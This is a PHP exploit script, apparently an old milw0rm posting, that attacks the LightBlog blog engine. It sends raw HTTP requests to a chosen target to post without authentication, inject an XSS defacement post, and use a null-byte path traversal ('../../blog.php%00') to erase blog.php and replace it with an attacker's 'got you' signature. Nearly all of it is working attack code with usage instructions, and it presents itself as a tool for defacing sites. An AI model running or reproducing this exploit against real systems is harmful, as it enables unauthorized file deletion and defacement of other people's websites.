#!/usr/bin/php -q -d short_open_tag=on \r\n"; echo "Thanks to rgod for the php code and Marty for the Love\r\n\r\n"; if ($argc<4) { echo "Usage: php ".$argv[0]." Site Path AttackType Related\r\n"; echo "Host: target server (ip/hostname)\r\n"; echo "Path: path to LightBlog\r\n"; echo "AttackType: 1 - Create New Post (Title must be of one word)\r\n"; echo " |-> Related: Title Post\r\n"; echo " |-> Es: php ".$argv[0]." localhost /blog/ 1 Hacked I Got You\r\n\r\n"; echo " 2 - Deface Blog (With XSS)\r\n"; echo " |-> Related: WebPage\r\n"; echo " |-> Es: php ".$argv[0]." localhost /blog/ 2 http://site.com/\r\n\r\n"; echo " 3 - Deface Blog (Deleting blog.php)\r\n"; echo " |-> Related: NickName\r\n"; echo " |-> Es: php ".$argv[0]." localhost /blog/ 3 BlackHawk\r\n\r\n"; echo ""; echo "\r\n"; echo ""; die; } /* There are some critical vulnerabilities in this quite simple Blog Engine.. 1 - You do not need to know the right password to send a new Post (no cecking); 2 - You can erase (even with mq=on) all file that are stored on the server: [...] $t = stripslashes($t); [...] $fc = fopen ("blog_comments/$t.txt", "w"); fwrite ($fc, ""); [...] 3-Using point No 1 you can do some XSS couse there isn't any anti-Xss code for admins 4-If mq=on than you can deface the site (but no injecting PHP cause < and > are properly parsed) sorry for my bad english, BlackHawk hawkgotyou@gmail.com */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $attack_type=$argv[3]; $port=80; $proxy=""; if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} switch($attack_type) { case 1: //Insert New Post $title=$argv[4]; $message=""; for ($i=5; $i<=$argc-1; $i++){ $message.=" ".$argv[$i]; } $title=urlencode($title); $message=urlencode($message); echo "Attack No 1 - Sending New Post..\r\n"; $data="t=$title"; $data.="&c=$message"; $data.="&Submit=Post"; $packet="POST ".$p."LightBlog/blog_script.php HTTP/1.0\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n"; $packet.="Referer: http://".$host.$path."/blog.php\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; sendpacketii($packet); echo "Ok, Post Sent"; break; case 2: // Deface With XSS $dfc_url=$argv[4]; $deface_url=urlencode(""); echo "Attack No 2 - Sending New Post With XSS..\r\n"; $data="t=$deface_url"; $data.="&c=msg"; $data.="&Submit=Post"; $packet="POST ".$p."LightBlog/blog_script.php HTTP/1.0\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n"; $packet.="Referer: http://".$host.$path."/blog.php\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; sendpacketii($packet); echo "Ok, Post Sent"; break; break; case 3: // Defacing the original blog.php file $nickname=$argv[4]; $packet ="GET ".$p."LightBlog/blog_comments.php?comment=Comment&title=title HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); $temp=explode("name=\"rand\" id=\"rand\" value=\"",$html); $temp2=explode("\">",$temp[1]); $random_code = $temp2[0]; $temp=explode("name=\"rand\" id=\"rand\" value=\"$random_code\">",$html); $temp2=explode(" ",$temp[1]); $small_code = $temp2[0]; $data="t=../../blog.php%00"; $data.="&c=ciao"; $data.="&Submit=Post"; $packet="POST ".$p."/LightBlog/blog_script.php HTTP/1.0\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n"; $packet.="Referer: http://".$host.$path."/blog.php\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; sendpacketii($packet); echo "blog.php File erased\r\n"; // This part will work only if mq=off elsewhere the exploit will only delete blog.php $deface_text=urlencode("|:. $nickname got you! .:"); $signature=urlencode(" BlackHawk And Piggy-Marty Rulez info --> "); $packet ="GET ".$p."LightBlog/add_comment_script.php?name=$deface_text&comment=$signature&rand=$random_code&val=$small_code&Submit=Submit&title=../../blog.php/%00 HTTP/1.0\r\n"; $packet.="Referer: http://".$host.$path."blog.php\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); echo "Ok, Blog Defaced"; break; } ?> # milw0rm.com [2006-10-27]